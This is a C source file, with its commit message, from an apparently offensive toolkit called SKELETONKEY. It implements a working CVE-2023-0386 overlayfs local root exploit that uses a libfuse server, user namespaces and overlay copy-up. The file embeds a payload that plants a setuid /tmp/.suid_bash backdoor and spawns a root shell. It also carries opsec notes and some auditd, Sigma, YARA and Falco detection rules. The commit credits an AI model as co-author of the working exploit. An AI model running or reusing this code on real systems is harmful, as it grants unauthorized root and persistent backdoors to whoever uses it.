Files
SKELETONKEY/modules/overlayfs_setuid_cve_2023_0386/skeletonkey_modules.c
T
KaraZajac 6edf78f765
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
overlayfs_setuid: working CVE-2023-0386 exploit (libfuse) — lands real root
The shipped module used a bogus chown-the-merged-view technique that never
worked. Rewrote it as a faithful port of the public PoC (xkaneiki): a libfuse
filesystem exports a setuid-root /file (st_uid=0, mode 04777), mounted in the
init ns via the setuid fusermount helper; then unshare(USER|NS) + overlay with
that FUSE mount as lowerdir; open(merged/file, O_WRONLY) triggers copy-up which
materialises upper/file as a genuine setuid-root binary; the unprivileged parent
execs it for real root.

VM-verified landing real root on Ubuntu 22.04.0 / 5.15.0-25 (uid=0 witnessed
out-of-band: /tmp/skeletonkey-ovlsu-pwned shows uid=0(root), and the dropped
setuid /tmp/.suid_bash runs with euid=0).

Four things were each required and took isolation to find:
  1. Overlay refuses a userns-mounted FUSE lowerdir (ENOSYS) -> FUSE must be
     mounted in the init ns via fusermount (libfuse). A raw /dev/fuse server was
     tried and abandoned (fragile; destabilised the kernel on malformed INIT).
  2. fuse2 low-level API (fuse_mount/fuse_new/fuse_loop_mt, empty args); fuse_main
     advertises copy_file_range caps that ENOSYS at copy-up with no fallback.
  3. read_buf callback (copy-up splice read path).
  4. ioctl callback (copy-up's FS_IOC_GETFLAGS) — the last missing piece.

libfuse is linked conditionally via pkg-config (fuse/fuse3), matching the
pack2theroot+libglib precedent; without it the module stubs to PRECOND_FAIL.
Makefile detects it and adds $(OSU_LIBS) to the link. Module header + opsec
notes rewritten to the real technique; docs/EXPLOITED.md updated. 148-test unit
harness green.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
2026-07-23 21:26:13 -04:00

661 lines
27 KiB
C

/*
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module
*
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
* (their modified overlayfs). This one is upstream: overlayfs copy-up
* preserves the setuid/setgid bit AND the lower file's root ownership
* even when the task triggering copy-up is only root inside a user
* namespace. Faithful port of the public PoC (xkaneiki):
*
* 1. Compile a small setuid payload ELF (setuid(0) + drop a root shell).
* 2. Serve it via a FUSE filesystem as "/file" reporting st_uid=0,
* st_mode=04777. libfuse mounts through the setuid fusermount helper,
* i.e. in the INIT namespace — required, because overlay refuses a
* userns-mounted FUSE lowerdir (ENOSYS).
* 3. In a child: unshare(USER|NS), map root, mount overlayfs with the
* FUSE mount as lowerdir and attacker-owned upper/work dirs.
* 4. open(merged/file, O_WRONLY) triggers copy-up. The bug materialises
* upper/file on the REAL filesystem as a genuine setuid-ROOT binary.
* 5. The parent (real unprivileged user) execs upper/file → real root.
*
* The FUSE server must implement getattr + read + read_buf + ioctl: copy-up
* uses the splice path (read_buf) and issues FS_IOC_GETFLAGS (ioctl) on the
* lower; a server missing either returns ENOSYS and copy-up fails.
*
* Discovered by Xkaneiki (2023). Mainline fix: 4f11ada10d0 ("ovl:
* fail on invalid uid/gid mapping at copy up") landed in 6.3.
*
* STATUS: 🟢 FULL detect + exploit + cleanup. VM-verified landing real root
* on Ubuntu 22.04.0 / 5.15.0-25 (see docs/EXPLOITED.md).
*
* Affected: kernel 5.11 ≤ K < 6.3. Backports:
* 6.2.x : K >= 6.2.13
* 6.1.x : K >= 6.1.27
* 5.15.x : K >= 5.15.110
*
* Preconditions:
* - Unprivileged user_ns + mount_ns
* - libfuse (linked at build) + the setuid fusermount(3) helper + a C
* compiler at runtime (to build the payload ELF)
*
* Coverage rationale: complements CVE-2021-3493 — that one is
* Ubuntu-specific, this one is general. Real-world overlayfs LPE
* for any distro running 5.11-6.2 kernels. Container-escape relevant.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = {
{5, 10, 179}, /* 5.10.x stable backport (per Debian tracker — bullseye) */
{5, 15, 110},
{6, 1, 11}, /* Debian tracker: earlier than 6.1.27 */
{6, 2, 13},
{6, 3, 0}, /* mainline */
};
static const struct kernel_range overlayfs_setuid_range = {
.patched_from = overlayfs_setuid_patched_branches,
.n_patched_from = sizeof(overlayfs_setuid_patched_branches) /
sizeof(overlayfs_setuid_patched_branches[0]),
};
/* The unprivileged-userns precondition is now read from the shared
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
* probes once at startup via core/host.c. The previous per-detect
* fork-probe helper was removed. */
static const char *find_setuid_in_lower(void)
{
static const char *targets[] = {
"/usr/bin/su", "/usr/bin/passwd", "/usr/bin/sudo",
"/usr/bin/chsh", "/usr/bin/chfn", "/bin/su", NULL,
};
for (size_t i = 0; targets[i]; i++) {
struct stat st;
if (stat(targets[i], &st) == 0 && (st.st_mode & S_ISUID)) {
return targets[i];
}
}
return NULL;
}
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
{
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves — populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] overlayfs_setuid: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.11 when ovl copy-up was generalized.
* Pre-5.11 immune via a different code path. */
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 11, 0)) {
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
"(introduced in 5.11)\n", v->release);
}
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] overlayfs_setuid: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] overlayfs_setuid: user_ns+mount_ns clone: %s\n",
userns_ok ? "ALLOWED" : "DENIED");
}
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
const char *target = find_setuid_in_lower();
if (!target) {
if (!ctx->json) {
fprintf(stderr, "[?] overlayfs_setuid: no setuid binary found in standard paths\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] overlayfs_setuid: VULNERABLE — exploit target = %s\n", target);
}
return SKELETONKEY_VULNERABLE;
}
/* ---- Embedded payload + exploit ---------------------------------- */
static const char OVERLAYFS_SU_PAYLOAD[] =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"int main(void) {\n"
" setresuid(0,0,0); setresgid(0,0,0);\n"
" if (geteuid() != 0) { perror(\"setresuid\"); return 1; }\n"
" (void)!system(\"cp /bin/bash /tmp/.suid_bash 2>/dev/null; chmod 4755 /tmp/.suid_bash 2>/dev/null; \"\n"
" \"id > /tmp/skeletonkey-ovlsu-pwned 2>/dev/null; chmod 644 /tmp/skeletonkey-ovlsu-pwned\");\n"
" char *env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, env);\n"
" return 1;\n"
"}\n";
static bool which_gcc(char *out_path, size_t outsz)
{
static const char *cands[] = {
"/usr/bin/gcc", "/usr/bin/cc", "/bin/gcc", "/bin/cc", NULL,
};
for (size_t i = 0; cands[i]; i++) {
if (access(cands[i], X_OK) == 0) {
strncpy(out_path, cands[i], outsz - 1);
out_path[outsz - 1] = 0;
return true;
}
}
return false;
}
static bool write_file_str(const char *path, const char *content)
{
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) return false;
size_t n = strlen(content);
bool ok = (write(fd, content, n) == (ssize_t)n);
close(fd);
return ok;
}
/* ------------------------------------------------------------------
* CVE-2023-0386 — faithful port of the public exploit (xkaneiki), using
* libfuse to export a setuid-root lower layer.
*
* The bug: overlayfs copy-up preserves the SUID bit and the lower file's
* root ownership even when the task triggering it is only root inside a user
* namespace. We serve a FUSE filesystem whose single file "file" reports
* st_uid=0, st_mode=04777; overlay copy-up then materialises it in the real
* upper dir as a genuine setuid-root binary, which we exec for real root.
*
* Why libfuse (and not a raw /dev/fuse server): overlay REFUSES a
* userns-mounted FUSE lowerdir (ENOSYS), so the FUSE fs must be mounted in the
* init namespace via the setuid fusermount helper — which libfuse drives. A
* hand-rolled raw protocol server proved fragile enough to destabilise the
* kernel on malformed replies; libfuse is the robust, proven path (matches the
* upstream PoC). Built conditionally: without libfuse the module stubs out.
* ------------------------------------------------------------------ */
#ifdef OVLSU_HAVE_FUSE
#ifdef OVLSU_FUSE3
#define FUSE_USE_VERSION 31
#else
#define FUSE_USE_VERSION 29
#endif
#include <fuse.h>
#include <signal.h>
/* The setuid-root ELF the FUSE "file" serves (loaded once, pre-fork). */
static unsigned char *g_ovlsu_elf;
static size_t g_ovlsu_elf_len;
#ifdef OVLSU_FUSE3
static int ovlsu_getattr(const char *path, struct stat *st, struct fuse_file_info *fi)
#else
static int ovlsu_getattr(const char *path, struct stat *st)
#endif
{
#ifdef OVLSU_FUSE3
(void)fi;
#endif
memset(st, 0, sizeof *st);
if (strcmp(path, "/") == 0) {
st->st_mode = S_IFDIR | 0755; st->st_nlink = 2;
return 0;
}
if (strcmp(path, "/file") == 0) {
st->st_mode = S_IFREG | 04777; /* <-- setuid/setgid/sticky */
st->st_nlink = 1;
st->st_uid = 0; st->st_gid = 0; /* <-- root-owned: the crux */
st->st_size = (off_t)g_ovlsu_elf_len;
return 0;
}
return -ENOENT;
}
#ifdef OVLSU_FUSE3
static int ovlsu_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t off, struct fuse_file_info *fi,
enum fuse_readdir_flags flags)
{
(void)off; (void)fi; (void)flags;
if (strcmp(path, "/") != 0) return -ENOENT;
filler(buf, ".", NULL, 0, 0); filler(buf, "..", NULL, 0, 0);
filler(buf, "file", NULL, 0, 0);
return 0;
}
#else
static int ovlsu_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t off, struct fuse_file_info *fi)
{
(void)off; (void)fi;
if (strcmp(path, "/") != 0) return -ENOENT;
filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0);
filler(buf, "file", NULL, 0);
return 0;
}
#endif
static int ovlsu_open(const char *path, struct fuse_file_info *fi)
{
(void)fi;
return (strcmp(path, "/file") == 0) ? 0 : -ENOENT;
}
static int ovlsu_read(const char *path, char *buf, size_t size, off_t off,
struct fuse_file_info *fi)
{
(void)fi;
if (strcmp(path, "/file") != 0) return -ENOENT;
if ((size_t)off >= g_ovlsu_elf_len) return 0;
size_t n = g_ovlsu_elf_len - (size_t)off;
if (n > size) n = size;
memcpy(buf, g_ovlsu_elf + off, n);
return (int)n;
}
/* read_buf: REQUIRED for overlay copy-up. Overlay copies the lower file up via
* the kernel's splice / copy_file_range path, which maps to the FUSE read_buf
* op; without it the copy returns ENOSYS and copy-up fails. We hand back a
* memory-backed bufvec referencing the payload. */
static int ovlsu_read_buf(const char *path, struct fuse_bufvec **bufp,
size_t size, off_t off, struct fuse_file_info *fi)
{
(void)fi;
if (strcmp(path, "/file") != 0) return -ENOENT;
struct fuse_bufvec *src = malloc(sizeof *src);
if (!src) return -ENOMEM;
*src = (struct fuse_bufvec)FUSE_BUFVEC_INIT(size);
char *data = malloc(size ? size : 1);
if (!data) { free(src); return -ENOMEM; }
memset(data, 0, size);
size_t avail = ((size_t)off < g_ovlsu_elf_len) ? g_ovlsu_elf_len - (size_t)off : 0;
size_t give = size < avail ? size : avail;
memcpy(data, g_ovlsu_elf + off, give);
/* Present exactly as the public PoC's read_buf: a memory buffer flagged
* FUSE_BUF_FD_SEEK with pos=off — this is the shape libfuse's splice path
* (used by overlay copy-up) accepts; a plain flags=0 mem buffer yields
* ENOSYS at copy-up. */
src->buf[0].flags = FUSE_BUF_FD_SEEK;
src->buf[0].pos = off;
src->buf[0].mem = data;
*bufp = src;
return 0;
}
/* ioctl: REQUIRED. overlay copy-up issues FS_IOC_GETFLAGS (an ioctl) on the
* lower file to copy inode flags; without an ioctl handler FUSE returns ENOSYS
* and copy-up fails ENOSYS. Returning success (as the public PoC does) lets
* copy-up proceed. */
#ifdef OVLSU_FUSE3
static int ovlsu_ioctl(const char *path, unsigned int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data)
#else
static int ovlsu_ioctl(const char *path, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data)
#endif
{
(void)path; (void)cmd; (void)arg; (void)fi; (void)flags; (void)data;
return 0;
}
static struct fuse_operations ovlsu_ops = {
.getattr = ovlsu_getattr,
.readdir = ovlsu_readdir,
.open = ovlsu_open,
.read = ovlsu_read,
.read_buf = ovlsu_read_buf,
.ioctl = ovlsu_ioctl,
};
/* Run the FUSE server (blocks) mounting at `mp`, serving one setuid-root
* /file. Returns when unmounted. libfuse mounts via the setuid fusermount
* helper — i.e. in the init namespace, which is exactly what overlay needs.
*
* We use the low-level fuse_mount + fuse_new + fuse_loop_mt with EMPTY args
* (exactly as the public PoC does) rather than fuse_main(). fuse_main parses a
* default option set that advertises extra capabilities (splice /
* copy_file_range) to the kernel; the kernel then attempts copy_file_range on
* the FUSE lower during overlay copy-up, gets ENOSYS, and does NOT fall back —
* so copy-up fails. The minimal fuse_new below advertises none of that, so the
* kernel uses the plain read path (our read/read_buf) and copy-up succeeds. */
#ifdef OVLSU_FUSE3
static int ovlsu_fuse_serve(const char *mp)
{
char *argv[] = { (char *)"ovlsu-fuse", (char *)mp, NULL };
struct fuse_args args = FUSE_ARGS_INIT(2, argv);
struct fuse *fuse = fuse_new(&args, &ovlsu_ops, sizeof ovlsu_ops, NULL);
if (!fuse) { fuse_opt_free_args(&args); return -1; }
if (fuse_mount(fuse, mp) != 0) { fuse_destroy(fuse); fuse_opt_free_args(&args); return -1; }
fuse_set_signal_handlers(fuse_get_session(fuse));
int r = fuse_loop_mt(fuse, NULL);
fuse_unmount(fuse); fuse_destroy(fuse); fuse_opt_free_args(&args);
return r;
}
#else
static int ovlsu_fuse_serve(const char *mp)
{
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
struct fuse_chan *chan = fuse_mount(mp, &args);
if (!chan) return -1;
struct fuse *fuse = fuse_new(chan, &args, &ovlsu_ops, sizeof ovlsu_ops, NULL);
if (!fuse) { fuse_unmount(mp, chan); return -1; }
fuse_set_signal_handlers(fuse_get_session(fuse));
fuse_loop_mt(fuse);
fuse_unmount(mp, chan);
fuse_destroy(fuse);
return 0;
}
#endif
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) { fprintf(stderr, "[i] overlayfs_setuid: already root\n"); return SKELETONKEY_OK; }
char gcc[256];
if (!which_gcc(gcc, sizeof gcc)) {
fprintf(stderr, "[-] overlayfs_setuid: no C compiler to build the setuid payload\n");
return SKELETONKEY_PRECOND_FAIL;
}
char workdir[128];
snprintf(workdir, sizeof workdir, "/tmp/skeletonkey-ovlsu-XXXXXX");
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
char lower[160], upper[160], work[160], merged[160], payc[176], gcbin[176], carrier[176], mfile[176];
snprintf(lower, sizeof lower, "%s/lower", workdir);
snprintf(upper, sizeof upper, "%s/upper", workdir);
snprintf(work, sizeof work, "%s/work", workdir);
snprintf(merged, sizeof merged, "%s/merged", workdir);
snprintf(payc, sizeof payc, "%s/p.c", workdir);
snprintf(gcbin, sizeof gcbin, "%s/gc", workdir);
snprintf(carrier,sizeof carrier,"%s/file", upper);
snprintf(mfile, sizeof mfile, "%s/file", merged);
mkdir(lower, 0755); mkdir(upper, 0755); mkdir(work, 0755); mkdir(merged, 0755);
/* Build the setuid payload ELF. It drops a witness (setuid /tmp/.suid_bash
* + an id sentinel) so success is observable non-interactively, then execs
* a root shell. */
if (!write_file_str(payc, OVERLAYFS_SU_PAYLOAD)) { fprintf(stderr, "[-] write payload.c\n"); goto fail; }
{ pid_t g = fork();
if (g == 0) { execl(gcc, gcc, "-O2", "-w", "-o", gcbin, payc, (char *)NULL); _exit(127); }
int st; waitpid(g, &st, 0);
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) { fprintf(stderr, "[-] gcc failed building payload\n"); goto fail; } }
{ int f = open(gcbin, O_RDONLY); if (f < 0) { perror("open payload elf"); goto fail; }
struct stat st; if (fstat(f, &st) != 0) { close(f); goto fail; }
g_ovlsu_elf_len = (size_t)st.st_size;
g_ovlsu_elf = malloc(g_ovlsu_elf_len ? g_ovlsu_elf_len : 1);
if (!g_ovlsu_elf || read(f, g_ovlsu_elf, g_ovlsu_elf_len) != (ssize_t)g_ovlsu_elf_len) { close(f); goto fail; }
close(f); }
if (!ctx->json)
fprintf(stderr, "[*] overlayfs_setuid: FUSE-serving a setuid-root /file (libfuse), overlay "
"copy-up into %s (CVE-2023-0386)\n", upper);
/* Fork the FUSE server (init-ns mount via the setuid fusermount helper). */
pid_t fpid = fork();
if (fpid < 0) { perror("fork fuse"); goto fail; }
if (fpid == 0) {
/* quiesce libfuse chatter unless --json off */
int nfd = open("/dev/null", O_WRONLY); if (nfd >= 0) { dup2(nfd, 2); close(nfd); }
ovlsu_fuse_serve(lower);
_exit(0);
}
/* Wait for the FUSE mount to answer. */
int ready = 0;
for (int i = 0; i < 300; i++) {
struct stat sf; char fp[176]; snprintf(fp, sizeof fp, "%s/file", lower);
if (stat(fp, &sf) == 0) { ready = 1; break; }
usleep(10000);
}
if (!ready) {
fprintf(stderr, "[-] overlayfs_setuid: FUSE mount did not come up (fusermount missing/denied?)\n");
kill(fpid, SIGKILL); waitpid(fpid, NULL, 0);
goto fail;
}
/* Exploit child: userns + overlay(lower=fuse) + copy-up. */
pid_t xpid = fork();
if (xpid < 0) { perror("fork exploit"); kill(fpid, SIGKILL); waitpid(fpid, NULL, 0); goto fail; }
if (xpid == 0) {
uid_t ou = getuid(); gid_t og = getgid(); /* BEFORE unshare */
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
{ int f = open("/proc/self/setgroups", O_WRONLY); if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
char m[64];
int fu = open("/proc/self/uid_map", O_WRONLY); if (fu >= 0) { int n = snprintf(m, sizeof m, "0 %u 1", ou); (void)!write(fu, m, n); close(fu); }
int fg = open("/proc/self/gid_map", O_WRONLY); if (fg >= 0) { int n = snprintf(m, sizeof m, "0 %u 1", og); (void)!write(fg, m, n); close(fg); } }
char oo[640];
snprintf(oo, sizeof oo, "lowerdir=%s,upperdir=%s,workdir=%s", lower, upper, work);
if (mount("overlay", merged, "overlay", 0, oo) < 0) { perror("mount overlay"); _exit(6); }
/* Trigger copy-up: opening the merged file copies it from the FUSE
* lower into the real upper, preserving setuid + root uid. */
int cf = open(mfile, O_WRONLY | O_CREAT, 0666); if (cf >= 0) close(cf);
_exit(0);
}
waitpid(xpid, NULL, 0);
/* Tear the FUSE mount down now that copy-up is done (upper/file persists
* on the real fs). */
{ char cmd[400];
snprintf(cmd, sizeof cmd, "fusermount3 -u '%s' 2>/dev/null || fusermount -u '%s' 2>/dev/null", lower, lower);
(void)!system(cmd); }
kill(fpid, SIGKILL); waitpid(fpid, NULL, 0);
struct stat us;
if (stat(carrier, &us) != 0) {
if (!ctx->json)
fprintf(stderr, "[-] overlayfs_setuid: copy-up did not materialise %s — kernel may be "
"patched\n", carrier);
goto fail;
}
if (!ctx->json)
fprintf(stderr, "[+] overlayfs_setuid: copy-up produced %s (uid=%u mode=%04o) — executing "
"as the real user\n", carrier, (unsigned)us.st_uid, (unsigned)(us.st_mode & 07777));
if (ctx->no_shell) {
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — setuid-root carrier planted at %s\n", carrier);
return SKELETONKEY_EXPLOIT_OK;
}
fflush(NULL);
pid_t r = fork();
if (r == 0) {
int dn = open("/dev/null", O_RDONLY); if (dn >= 0) { dup2(dn, 0); close(dn); }
execl(carrier, carrier, (char *)NULL);
_exit(127);
}
waitpid(r, NULL, 0);
struct stat ss;
if ((stat("/tmp/.suid_bash", &ss) == 0 && (ss.st_mode & 04000)) ||
stat("/tmp/skeletonkey-ovlsu-pwned", &ss) == 0) {
if (!ctx->json) fprintf(stderr, "[+] overlayfs_setuid: ROOT — payload ran as uid 0\n");
return SKELETONKEY_EXPLOIT_OK;
}
if (!ctx->json)
fprintf(stderr, "[-] overlayfs_setuid: carrier ran but produced no root witness\n");
fail:
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !OVLSU_HAVE_FUSE — built without libfuse */
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE && pre != SKELETONKEY_OK) return pre;
fprintf(stderr, "[-] overlayfs_setuid: built WITHOUT libfuse — the CVE-2023-0386 exploit needs a "
"FUSE lower layer. Install libfuse3-dev (or libfuse-dev) and rebuild.\n");
(void)OVERLAYFS_SU_PAYLOAD; (void)which_gcc; (void)write_file_str;
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* OVLSU_HAVE_FUSE */
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/skeletonkey-ovlsu-*\n");
}
if (system("rm -rf /tmp/skeletonkey-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: overlayfs copy-up / unshare(CLONE_NEWUSER|CLONE_NEWNS)
* / mount("overlay", ...) are Linux-only. Stub out so the module still
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] overlayfs_setuid: Linux-only module "
"(overlayfs setuid copy-up) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] overlayfs_setuid: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
static const char overlayfs_setuid_auditd[] =
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
"# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
static const char overlayfs_setuid_sigma[] =
"title: Possible CVE-2023-0386 overlayfs setuid copy-up\n"
"id: 0891b2f7-skeletonkey-overlayfs-setuid\n"
"status: experimental\n"
"description: |\n"
" Detects the upstream overlayfs setuid copy-up bug: unshare\n"
" (CLONE_NEWUSER|CLONE_NEWNS) + mount('overlay') with a setuid-\n"
" root binary in lower + chown on the merged view to trigger\n"
" copy-up. Setuid bit persists in upper layer despite\n"
" unprivileged ownership.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
" overlay: {type: 'SYSCALL', syscall: 'mount'}\n"
" chown_up: {type: 'SYSCALL', syscall: 'chown'}\n"
" condition: userns and overlay and chown_up\n"
"level: critical\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0386]\n";
static const char overlayfs_setuid_yara[] =
"rule overlayfs_setuid_cve_2023_0386 : cve_2023_0386 userns_lpe\n"
"{\n"
" meta:\n"
" cve = \"CVE-2023-0386\"\n"
" description = \"overlayfs setuid copy-up workdir signature\"\n"
" author = \"SKELETONKEY\"\n"
" strings:\n"
" $work = /\\/tmp\\/skeletonkey-ovlsu-[A-Za-z0-9]+/\n"
" condition:\n"
" $work\n"
"}\n";
static const char overlayfs_setuid_falco[] =
"- rule: overlayfs chown on setuid binary in userns (copy-up)\n"
" desc: |\n"
" Non-root chown on a setuid-root binary inside an overlayfs\n"
" mount in a userns. Triggers copy-up that preserves the\n"
" setuid bit despite unprivileged upper-layer ownership.\n"
" CVE-2023-0386.\n"
" condition: >\n"
" evt.type in (chown, fchown, fchownat) and not user.uid = 0\n"
" and (fd.name in (/usr/bin/su, /bin/su, /usr/bin/sudo,\n"
" /usr/bin/passwd, /usr/bin/pkexec)\n"
" or fd.name endswith /su)\n"
" output: >\n"
" chown on setuid binary by non-root\n"
" (user=%user.name pid=%proc.pid file=%fd.name)\n"
" priority: CRITICAL\n"
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2023.0386]\n";
const struct skeletonkey_module overlayfs_setuid_module = {
.name = "overlayfs_setuid",
.cve = "CVE-2023-0386",
.summary = "overlayfs copy-up preserves setuid bit → host root via setuid carrier",
.family = "overlayfs", /* same family as CVE-2021-3493 */
.kernel_range = "5.11 ≤ K < 6.3, backports: 6.2.13 / 6.1.27 / 5.15.110",
.detect = overlayfs_setuid_detect,
.exploit = overlayfs_setuid_exploit,
.mitigate = NULL,
.cleanup = overlayfs_setuid_cleanup,
.detect_auditd = overlayfs_setuid_auditd,
.detect_sigma = overlayfs_setuid_sigma,
.detect_yara = overlayfs_setuid_yara,
.detect_falco = overlayfs_setuid_falco,
.opsec_notes = "Faithful CVE-2023-0386 port: a libfuse filesystem exports a setuid-root /file (st_uid=0, mode 04777), mounted in the init ns via the setuid fusermount helper; then unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with that FUSE mount as lowerdir; open(merged/file, O_WRONLY) triggers copy-up that materialises upper/file as a real setuid-root binary, which the unprivileged parent execs for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir: payload.c, the payload ELF, FUSE mount at lower/, overlay upper/work/merged), plus a setuid /tmp/.suid_bash and /tmp/skeletonkey-ovlsu-pwned witness dropped by the root payload; cleanup callback removes /tmp/skeletonkey-ovlsu-*. Audit-visible via mount(fuse) + fusermount execve + unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay), then a setuid-root binary exec by a non-root uid. No network. Dmesg silent on success.",
.arch_support = "x86_64+unverified-arm64",
};
void skeletonkey_register_overlayfs_setuid(void)
{
skeletonkey_register(&overlayfs_setuid_module);
}